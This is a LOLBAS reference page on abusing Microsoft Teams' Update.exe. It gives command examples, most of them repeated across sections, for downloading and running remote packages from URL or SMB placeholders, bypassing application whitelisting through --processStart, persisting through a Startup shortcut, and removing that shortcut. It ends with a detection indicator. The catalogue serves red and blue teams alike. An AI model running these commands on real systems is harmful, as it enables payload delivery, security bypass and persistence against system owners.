LOLBAS. GitHub
LIVING OFF THE LAND / OTHER MICROSOFT BINARIES

Update.exe

View source

Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.

DownloadAWL BypassExecute
13COMMAND EXAMPLES
03ATT&CK TECHNIQUES
01DETECTION RESOURCES
03CAPABILITIES
01 / TRADECRAFT

Command reference

13 examples

Download1

EXAMPLE 01T1218

The above binary will go to url and look for RELEASES file and download the nuget package.

COMMAND
Update.exe --download {REMOTEURL}
USE CASE
Download binary
PRIVILEGES
User
OPERATING SYSTEM
Windows 7 and up with Microsoft Teams installed

AWL Bypass5

EXAMPLE 01T1218

The above binary will go to url and look for RELEASES file, download and install the nuget package.

COMMAND
Update.exe --update={REMOTEURL}
USE CASE
Download and execute binary
PRIVILEGES
User
OPERATING SYSTEM
Windows 7 and up with Microsoft Teams installed
Execute · NugetExecute · Remote
EXAMPLE 02T1218

The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.

COMMAND
Update.exe --update={PATH_SMB:folder}
USE CASE
Download and execute binary
PRIVILEGES
User
OPERATING SYSTEM
Windows 7 and up with Microsoft Teams installed
Execute · NugetExecute · Remote
EXAMPLE 03T1218

The above binary will go to url and look for RELEASES file, download and install the nuget package.

COMMAND
Update.exe --updateRollback={REMOTEURL}
USE CASE
Download and execute binary
PRIVILEGES
User
OPERATING SYSTEM
Windows 7 and up with Microsoft Teams installed
Execute · NugetExecute · Remote
EXAMPLE 04T1218

Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.

COMMAND
Update.exe --processStart {PATH:.exe} --process-start-args "{CMD:args}"
USE CASE
Application Whitelisting Bypass
PRIVILEGES
User
OPERATING SYSTEM
Windows 7 and up with Microsoft Teams installed
Execute · CMDExecute · Remote
EXAMPLE 05T1218

The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.

COMMAND
Update.exe --updateRollback={PATH_SMB:folder}
USE CASE
Download and execute binary
PRIVILEGES
User
OPERATING SYSTEM
Windows 7 and up with Microsoft Teams installed
Execute · NugetExecute · Remote

Execute7

EXAMPLE 01T1218

The above binary will go to url and look for RELEASES file, download and install the nuget package.

COMMAND
Update.exe --update={REMOTEURL}
USE CASE
Download and execute binary
PRIVILEGES
User
OPERATING SYSTEM
Windows 7 and up with Microsoft Teams installed
Execute · NugetExecute · Remote
EXAMPLE 02T1218

The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.

COMMAND
Update.exe --update={PATH_SMB:folder}
USE CASE
Download and execute binary
PRIVILEGES
User
OPERATING SYSTEM
Windows 7 and up with Microsoft Teams installed
Execute · NugetExecute · Remote
EXAMPLE 03T1218

The above binary will go to url and look for RELEASES file, download and install the nuget package.

COMMAND
Update.exe --updateRollback={REMOTEURL}
USE CASE
Download and execute binary
PRIVILEGES
User
OPERATING SYSTEM
Windows 7 and up with Microsoft Teams installed
Execute · NugetExecute · Remote
EXAMPLE 04T1218

The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.

COMMAND
Update.exe --updateRollback={PATH_SMB:folder}
USE CASE
Download and execute binary
PRIVILEGES
User
OPERATING SYSTEM
Windows 7 and up with Microsoft Teams installed
Execute · NugetExecute · Remote
EXAMPLE 05T1218

Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.

COMMAND
Update.exe --processStart {PATH:.exe} --process-start-args "{CMD:args}"
USE CASE
Execute binary
PRIVILEGES
User
OPERATING SYSTEM
Windows 7 and up with Microsoft Teams installed
Execute · CMD
EXAMPLE 06T1547

Copy your payload into "%localappdata%\Microsoft\Teams\current\". Then run the command. Update.exe will create a shortcut to the specified executable in "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup". Then payload will run on every login of the user who runs it.

COMMAND
Update.exe --createShortcut={PATH:.exe} -l=Startup
USE CASE
Execute binary
PRIVILEGES
User
OPERATING SYSTEM
Windows 7 and up with Microsoft Teams installed
Execute · EXE
EXAMPLE 07T1070

Run the command to remove the shortcut created in the "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" directory you created with the LolBinExecution "--createShortcut" described on this page.

COMMAND
Update.exe --removeShortcut={PATH:.exe}-l=Startup
USE CASE
Execute binary
PRIVILEGES
User
OPERATING SYSTEM
Windows 7 and up with Microsoft Teams installed
Execute · EXE
02 / ON DISK

Known paths

C:\Users\<username>\AppData\Local\Microsoft\Teams\update.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources

Indicators & detection notes

  • IOC

    Update.exe spawned an unknown process

REFERENCE IMPLEMENTATIONS

Code samples

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Reegun Richard Jayapaul (SpiderLabs, Trustwave)@reegun21
Mr.Un1k0d3r@MrUn1k0d3r
Adam@Hexacorn
Jesus Galvez